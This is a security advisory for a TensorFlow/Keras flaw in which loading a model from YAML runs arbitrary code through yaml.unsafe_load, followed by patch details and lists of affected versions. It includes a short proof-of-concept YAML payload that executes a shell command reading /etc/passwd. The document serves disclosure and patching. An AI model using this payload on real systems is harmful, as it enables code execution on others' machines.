GHSA-r6jx-9g48-2r5r

Source

https://github.com/advisories/GHSA-r6jx-9g48-2r5r

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-r6jx-9g48-2r5r/GHSA-r6jx-9g48-2r5r.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-r6jx-9g48-2r5r

Aliases

Published

2021-08-25T14:41:12Z

Modified

2024-02-16T08:05:43.327157Z

Severity

9.3 (Critical) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator

Summary

Arbitrary code execution due to YAML deserialization

Details

Impact

TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format.

from tensorflow.keras import models

payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''

models.model_from_yaml(payload)

The implementation uses yaml.unsafe_load which can perform arbitrary code execution on the input.

Patches

Given that YAML format support requires a significant amount of work, we have removed it for now.

We have patched the issue in GitHub commit 23d6383eb6c14084a8fc3bdf164043b974818012.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Arjun Shibu.

References

Affected packages

PyPI / tensorflow

Package

Name: tensorflow; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.3.4

Affected versions

0.*

0.12.0

0.12.1

1.*

1.0.0

1.0.1

1.1.0

1.2.0

1.2.1

1.3.0

1.4.0

1.4.1

1.5.0

1.5.1

1.6.0

1.7.0

1.7.1

1.8.0

1.9.0

1.10.0

1.10.1

1.11.0

1.12.0

1.12.2

1.12.3

1.13.1

1.13.2

1.14.0

1.15.0

1.15.2

1.15.3

1.15.4

1.15.5

2.*

2.0.0

2.0.1

2.0.2

2.0.3

2.0.4

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.2.0

2.2.1

2.2.2

2.2.3

2.3.0

2.3.1

2.3.2

2.3.3

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow

Package

Name: tensorflow; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.4.0

Fixed

2.4.3

Affected versions

2.*

2.4.0

2.4.1

2.4.2

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow

Package

Name: tensorflow; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.5.0

Fixed

2.5.1

Affected versions

2.*

2.5.0

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow-cpu

Package

Name: tensorflow-cpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-cpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.3.4

Affected versions

1.*

1.15.0

2.*

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.2.0

2.2.1

2.2.2

2.2.3

2.3.0

2.3.1

2.3.2

2.3.3

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow-cpu

Package

Name: tensorflow-cpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-cpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.4.0

Fixed

2.4.3

Affected versions

2.*

2.4.0

2.4.1

2.4.2

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow-cpu

Package

Name: tensorflow-cpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-cpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.5.0

Fixed

2.5.1

Affected versions

2.*

2.5.0

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow-gpu

Package

Name: tensorflow-gpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-gpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.3.4

Affected versions

0.*

0.12.0

0.12.1

1.*

1.0.0

1.0.1

1.1.0

1.2.0

1.2.1

1.3.0

1.4.0

1.4.1

1.5.0

1.5.1

1.6.0

1.7.0

1.7.1

1.8.0

1.9.0

1.10.0

1.10.1

1.11.0

1.12.0

1.12.2

1.12.3

1.13.1

1.13.2

1.14.0

1.15.0

1.15.2

1.15.3

1.15.4

1.15.5

2.*

2.0.0

2.0.1

2.0.2

2.0.3

2.0.4

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.2.0

2.2.1

2.2.2

2.2.3

2.3.0

2.3.1

2.3.2

2.3.3

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow-gpu

Package

Name: tensorflow-gpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-gpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.4.0

Fixed

2.4.3

Affected versions

2.*

2.4.0

2.4.1

2.4.2

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}

PyPI / tensorflow-gpu

Package

Name: tensorflow-gpu; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow-gpu

Affected ranges

Type: ECOSYSTEM
Events: Introduced

2.5.0

Fixed

2.5.1

Affected versions

2.*

2.5.0

Ecosystem specific

{
    "affected_functions": [
        "tensorflow.keras.Model.to_yaml",
        "tensorflow.keras.models.model_from_yaml"
    ]
}